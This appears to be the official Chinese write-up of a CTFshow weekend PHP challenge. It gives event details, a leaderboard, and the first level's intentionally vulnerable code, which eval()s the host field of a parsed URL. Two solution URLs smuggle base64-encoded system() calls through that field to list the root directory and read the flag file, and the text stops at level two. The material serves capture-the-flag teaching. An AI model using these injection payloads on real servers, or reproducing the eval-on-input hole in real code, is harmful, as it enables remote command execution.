CTFshow用户6420
CTFshow周末大挑战第三期官方wp
输入“/”快速插入内容
CTFshow周末大挑战第三期官方wp
CTFshow周末大挑战第三期官方wp
用户6420用户64202023年5月15日修改
活动概述
•
活动时间：2023年5月12日20时-5月13日20时
•
活动奖励：排名1-5 定制T恤，6-10 奖励30牛币
•
活动形式：php两行代码闯关，最先完成6关的获得奖励
•
出题人： h1xa（大菜鸡）
获奖名单
排名 | 昵称 | 奖励 | AK时间 |
1 | 定制T恤1件 | May 12th, 9:33:17 PM | |
2 | 晨曦 | 定制T恤1件 | May 12th, 9:58:34 PM |
3 | Myan | 定制T恤1件 | May 12th, 10:07:19 PM |
4 | 定制T恤1件 | May 12th, 10:20:59 PM | |
5 | 定制T恤1件 | May 12th, 10:29:08 PM | |
6 | 30牛币 | May 12th, 10:39:26 PM | |
7 | vox | 30牛币 | May 12th, 10:46:04 PM |
8 | 30牛币 | May 12th, 11:01:03 PM | |
9 | 30牛币 | May 12th, 11:11:58 PM | |
10 | 麻婆豆腐 | 30牛币 | May 12th, 11:20:19 PM |
题目解析
第一关
题目代码
代码块
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-05-10 09:52:06
# @Last Modified by: h1xa
# @Last Modified time: 2023-05-10 10:58:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
$data = parse_url($_GET['u']);
eval($data['host']);
列目录
代码块
http://xxx.challenge.ctf.show/?u=aa://eval(base64_decode('c3lzdGVtKCJscyAvIik7'));/aaa
读flag
代码块
http://xxx.challenge.ctf.show/?u=aa://eval(base64_decode('c3lzdGVtKCJjYXQgL2ZsYWdfaXNfaGVyZS50eHQiKTs='));/aaa
第二关